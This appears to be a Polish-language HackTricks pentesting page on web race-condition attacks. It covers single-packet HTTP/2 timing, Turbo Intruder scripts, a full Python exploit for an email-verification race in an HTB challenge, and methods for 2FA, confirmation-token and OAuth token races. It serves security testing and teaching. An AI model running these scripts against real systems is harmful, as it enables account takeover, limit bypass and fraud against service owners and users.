hacktricks/src/pentesting-web/race-condition.md

385 lines
20 KiB
Markdown

# Warunki Wyścigu
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> Aby uzyskać głębokie zrozumienie tej techniki, sprawdź oryginalny raport w [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
## Zwiększanie Ataków na Warunki Wyścigu
Główną przeszkodą w wykorzystaniu warunków wyścigu jest zapewnienie, że wiele żądań jest obsługiwanych jednocześnie, z **bardzo małą różnicą w czasach ich przetwarzania—idealnie, mniej niż 1ms**.
Tutaj znajdziesz kilka technik synchronizacji żądań:
#### Atak HTTP/2 z Jednym Pakietem vs. Synchronizacja Ostatniego Bajtu HTTP/1.1
- **HTTP/2**: Obsługuje wysyłanie dwóch żądań przez jedno połączenie TCP, co zmniejsza wpływ jittera sieciowego. Jednak z powodu wariacji po stronie serwera, dwa żądania mogą nie wystarczyć do spójnego wykorzystania warunków wyścigu.
- **HTTP/1.1 'Synchronizacja Ostatniego Bajtu'**: Umożliwia wstępne wysyłanie większości części 20-30 żądań, wstrzymując mały fragment, który jest następnie wysyłany razem, osiągając jednoczesne dotarcie do serwera.
**Przygotowanie do Synchronizacji Ostatniego Bajtu** obejmuje:
1. Wysyłanie nagłówków i danych ciała z wyjątkiem ostatniego bajtu bez kończenia strumienia.
2. Wstrzymanie na 100ms po początkowym wysłaniu.
3. Wyłączenie TCP_NODELAY, aby wykorzystać algorytm Nagle'a do grupowania ostatnich ramek.
4. Pingowanie w celu rozgrzania połączenia.
Następne wysłanie wstrzymanych ramek powinno skutkować ich dotarciem w jednym pakiecie, co można zweryfikować za pomocą Wireshark. Ta metoda nie ma zastosowania do plików statycznych, które zazwyczaj nie są zaangażowane w ataki RC.
### Dostosowanie do Architektury Serwera
Zrozumienie architektury celu jest kluczowe. Serwery front-end mogą różnie kierować żądania, co wpływa na czas. Wstępne rozgrzewanie połączenia po stronie serwera, poprzez nieistotne żądania, może znormalizować czasy żądań.
#### Obsługa Blokowania Opartego na Sesji
Frameworki takie jak handler sesji PHP serializują żądania według sesji, co może zaciemniać luki. Wykorzystanie różnych tokenów sesji dla każdego żądania może obejść ten problem.
#### Pokonywanie Ograniczeń Częstotliwości lub Zasobów
Jeśli rozgrzewanie połączenia jest nieskuteczne, celowe wywołanie opóźnień ograniczeń częstotliwości lub zasobów serwerów WWW poprzez zalewanie ich fałszywymi żądaniami może ułatwić atak z jednym pakietem, wywołując opóźnienie po stronie serwera sprzyjające warunkom wyścigu.
## Przykłady Ataków
- **Tubo Intruder - atak HTTP2 z jednym pakietem (1 punkt końcowy)**: Możesz wysłać żądanie do **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), możesz zmienić w żądaniu wartość, którą chcesz złamać dla **`%s`** jak w `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` i następnie wybrać **`examples/race-single-packer-attack.py`** z rozwijanego menu:
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
Jeśli zamierzasz **wysłać różne wartości**, możesz zmodyfikować kod tym, który używa listy słów z schowka:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> Jeśli strona internetowa nie obsługuje HTTP2 (tylko HTTP1.1), użyj `Engine.THREADED` lub `Engine.BURP` zamiast `Engine.BURP2`.
- **Tubo Intruder - atak pojedynczym pakietem HTTP2 (Kilka punktów końcowych)**: W przypadku, gdy musisz wysłać żądanie do 1 punktu końcowego, a następnie wiele do innych punktów końcowych, aby wywołać RCE, możesz zmienić skrypt `race-single-packet-attack.py` na coś takiego:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- Jest również dostępne w **Repeater** za pomocą nowej opcji '**Wyślij grupę równolegle**' w Burp Suite.
- Dla **limit-overrun** możesz po prostu dodać **ten sam żądanie 50 razy** w grupie.
- Dla **connection warming**, możesz **dodać** na **początku** **grupy** kilka **żądań** do nie statycznej części serwera webowego.
- Aby **opóźnić** proces **między** przetwarzaniem **jednego żądania a drugim** w 2 krokach substanu, możesz **dodać dodatkowe żądania między** obydwoma żądaniami.
- Dla **multi-endpoint** RC możesz zacząć wysyłać **żądanie**, które **przechodzi do ukrytego stanu**, a następnie **50 żądań** tuż po nim, które **wykorzystują ukryty stan**.
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Zautomatyzowany skrypt python**: Celem tego skryptu jest zmiana adresu e-mail użytkownika, jednocześnie weryfikując go, aż token weryfikacyjny nowego e-maila dotrze do ostatniego e-maila (to dlatego, że w kodzie widziano RC, w którym możliwe było modyfikowanie e-maila, ale weryfikacja była wysyłana na stary, ponieważ zmienna wskazująca na e-mail była już wypełniona pierwszym).\
Gdy słowo "objetivo" zostanie znalezione w otrzymanych e-mailach, wiemy, że otrzymaliśmy token weryfikacyjny zmienionego e-maila i kończymy atak.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Ulepszanie Ataku Pojedynczego Pakietu
W oryginalnych badaniach wyjaśniono, że ten atak ma limit 1,500 bajtów. Jednak w [**tym poście**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) wyjaśniono, jak możliwe jest rozszerzenie ograniczenia 1,500 bajtów ataku pojedynczego pakietu do **65,535 B ograniczenia okna TCP poprzez użycie fragmentacji na poziomie IP** (dzielenie pojedynczego pakietu na wiele pakietów IP) i wysyłanie ich w różnej kolejności, co pozwoliło zapobiec ponownemu złożeniu pakietu, aż wszystkie fragmenty dotrą do serwera. Ta technika pozwoliła badaczowi wysłać 10,000 żądań w około 166 ms.&#x20;
Zauważ, że chociaż to ulepszenie sprawia, że atak jest bardziej niezawodny w RC, który wymaga, aby setki/tysiące pakietów dotarły w tym samym czasie, może również mieć pewne ograniczenia programowe. Niektóre popularne serwery HTTP, takie jak Apache, Nginx i Go, mają surowe ustawienie `SETTINGS_MAX_CONCURRENT_STREAMS` na 100, 128 i 250. Jednak inne, takie jak NodeJS i nghttp2, mają to ustawienie nieograniczone.\
To zasadniczo oznacza, że Apache weźmie pod uwagę tylko 100 połączeń HTTP z jednego połączenia TCP (ograniczając ten atak RC).
Możesz znaleźć kilka przykładów używających tej techniki w repozytorium [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Surowy BF
Przed wcześniejszymi badaniami używano kilku ładunków, które po prostu próbowały wysłać pakiety tak szybko, jak to możliwe, aby spowodować RC.
- **Repeater:** Sprawdź przykłady z poprzedniej sekcji.
- **Intruder**: Wyślij **żądanie** do **Intruder**, ustaw **liczbę wątków** na **30** w **menu Opcje** i wybierz jako ładunek **Null payloads** i wygeneruj **30.**
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
- **Python - asyncio**
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## **Metodologia RC**
### Limit-overrun / TOCTOU
To najprostszy typ warunków wyścigu, gdzie **vulnerabilities** pojawiają się w miejscach, które **ograniczają liczbę razy, kiedy możesz wykonać akcję**. Na przykład używanie tego samego kodu rabatowego w sklepie internetowym kilka razy. Bardzo łatwy przykład można znaleźć w [**tym raporcie**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) lub w [**tym błędzie**](https://hackerone.com/reports/759247)**.**
Istnieje wiele wariantów tego rodzaju ataku, w tym:
- Wykorzystanie karty podarunkowej wiele razy
- Ocena produktu wiele razy
- Wypłacanie lub transferowanie gotówki w nadmiarze ponad saldo konta
- Ponowne użycie jednego rozwiązania CAPTCHA
- Ominięcie limitu anty-brute-force
### **Ukryte substany**
Wykorzystywanie złożonych warunków wyścigu często polega na wykorzystaniu krótkich okazji do interakcji z ukrytymi lub **niezamierzonymi substancjami maszyny**. Oto jak podejść do tego:
1. **Zidentyfikuj potencjalne ukryte substany**
- Zacznij od zlokalizowania punktów końcowych, które modyfikują lub interagują z krytycznymi danymi, takimi jak profile użytkowników lub procesy resetowania hasła. Skup się na:
- **Przechowywaniu**: Preferuj punkty końcowe, które manipulują danymi trwałymi po stronie serwera, zamiast tych obsługujących dane po stronie klienta.
- **Akcji**: Szukaj operacji, które zmieniają istniejące dane, które są bardziej prawdopodobne do stworzenia warunków do wykorzystania w porównaniu do tych, które dodają nowe dane.
- **Kluczowaniu**: Udane ataki zazwyczaj obejmują operacje kluczowane na tym samym identyfikatorze, np. nazwa użytkownika lub token resetowania.
2. **Przeprowadź wstępne badania**
- Testuj zidentyfikowane punkty końcowe za pomocą ataków warunków wyścigu, obserwując wszelkie odchylenia od oczekiwanych wyników. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą sygnalizować lukę.
3. **Zademonstruj lukę**
- Zawęż atak do minimalnej liczby żądań potrzebnych do wykorzystania luki, często tylko dwóch. Ten krok może wymagać wielu prób lub automatyzacji z powodu precyzyjnego czasu.
### Ataki wrażliwe na czas
Precyzja w czasowaniu żądań może ujawnić luki, szczególnie gdy przewidywalne metody, takie jak znaczniki czasu, są używane do tokenów zabezpieczających. Na przykład generowanie tokenów resetowania hasła na podstawie znaczników czasu może pozwolić na identyczne tokeny dla równoczesnych żądań.
**Aby wykorzystać:**
- Użyj precyzyjnego czasowania, jak atak jednego pakietu, aby złożyć równoczesne żądania resetowania hasła. Identyczne tokeny wskazują na lukę.
**Przykład:**
- Zażądaj dwóch tokenów resetowania hasła w tym samym czasie i porównaj je. Pasujące tokeny sugerują błąd w generowaniu tokenów.
**Sprawdź to** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **aby to wypróbować.**
## Przypadki studiów ukrytych substancji
### Zapłać i dodaj przedmiot
Sprawdź to [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), aby zobaczyć, jak **zapłacić** w sklepie i **dodać dodatkowy** przedmiot, za który **nie będziesz musiał płacić**.
### Potwierdź inne e-maile
Pomysł polega na **zweryfikowaniu adresu e-mail i jednoczesnej zmianie go na inny**, aby sprawdzić, czy platforma weryfikuje nowy zmieniony.
### Zmień e-mail na 2 adresy e-mail oparte na ciasteczkach
Zgodnie z [**tym badaniem**](https://portswigger.net/research/smashing-the-state-machine) Gitlab był podatny na przejęcie w ten sposób, ponieważ mógł **wysłać** **token weryfikacji e-maila jednego e-maila do drugiego e-maila**.
**Sprawdź to** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **aby to wypróbować.**
### Ukryte stany bazy danych / Ominięcie potwierdzenia
Jeśli **używane są 2 różne zapisy** do **dodania** **informacji** w **bazie danych**, istnieje mały okres czasu, w którym **tylko pierwsze dane zostały zapisane** w bazie danych. Na przykład, podczas tworzenia użytkownika **nazwa użytkownika** i **hasło** mogą być **zapisane**, a **następnie token** do potwierdzenia nowo utworzonego konta jest zapisywany. Oznacza to, że przez krótki czas **token do potwierdzenia konta jest pusty**.
Dlatego **rejestrowanie konta i wysyłanie kilku żądań z pustym tokenem** (`token=` lub `token[]=` lub jakakolwiek inna wariacja) w celu natychmiastowego potwierdzenia konta mogłoby pozwolić na **potwierdzenie konta**, nad którym nie masz kontroli nad e-mailem.
**Sprawdź to** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **aby to wypróbować.**
### Ominięcie 2FA
Poniższy pseudo-kod jest podatny na warunki wyścigu, ponieważ w bardzo krótkim czasie **2FA nie jest egzekwowane**, podczas gdy sesja jest tworzona:
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### OAuth2 wieczna trwałość
Istnieje kilka [**dostawców OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Te usługi pozwalają na stworzenie aplikacji i uwierzytelnienie użytkowników, których dostawca zarejestrował. Aby to zrobić, **klient** musi **zezwolić twojej aplikacji** na dostęp do niektórych swoich danych w ramach **dostawcy OAUth**.\
Więc, do tego momentu to tylko zwykłe logowanie za pomocą google/linkedin/github... gdzie pojawia się strona z komunikatem: "_Aplikacja \<InsertCoolName> chce uzyskać dostęp do twoich informacji, czy chcesz to umożliwić?_"
#### Warunek wyścigu w `authorization_code`
**Problem** pojawia się, gdy **zaakceptujesz to** i automatycznie wysyła **`authorization_code`** do złośliwej aplikacji. Następnie ta **aplikacja nadużywa Warunku Wyścigu w usłudze OAUth, aby wygenerować więcej niż jeden AT/RT** (_Token Uwierzytelniający/Token Odświeżający_) z **`authorization_code`** dla twojego konta. Zasadniczo, nadużyje faktu, że zaakceptowałeś aplikację, aby uzyskać dostęp do swoich danych, aby **utworzyć kilka kont**. Następnie, jeśli **przestaniesz zezwalać aplikacji na dostęp do swoich danych, jedna para AT/RT zostanie usunięta, ale pozostałe będą nadal ważne**.
#### Warunek wyścigu w `Refresh Token`
Gdy **uzyskasz ważny RT**, możesz spróbować **nadużyć go, aby wygenerować kilka AT/RT**, a **nawet jeśli użytkownik anuluje uprawnienia** dla złośliwej aplikacji do uzyskania dostępu do jego danych, **kilka RT nadal będzie ważnych.**
## **RC w WebSockets**
W [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) możesz znaleźć PoC w Javie do wysyłania wiadomości websocket w **równoległych** w celu nadużycia **Warunków Wyścigu również w Web Sockets**.
## Referencje
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
- [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
{{#include ../banners/hacktricks-training.md}}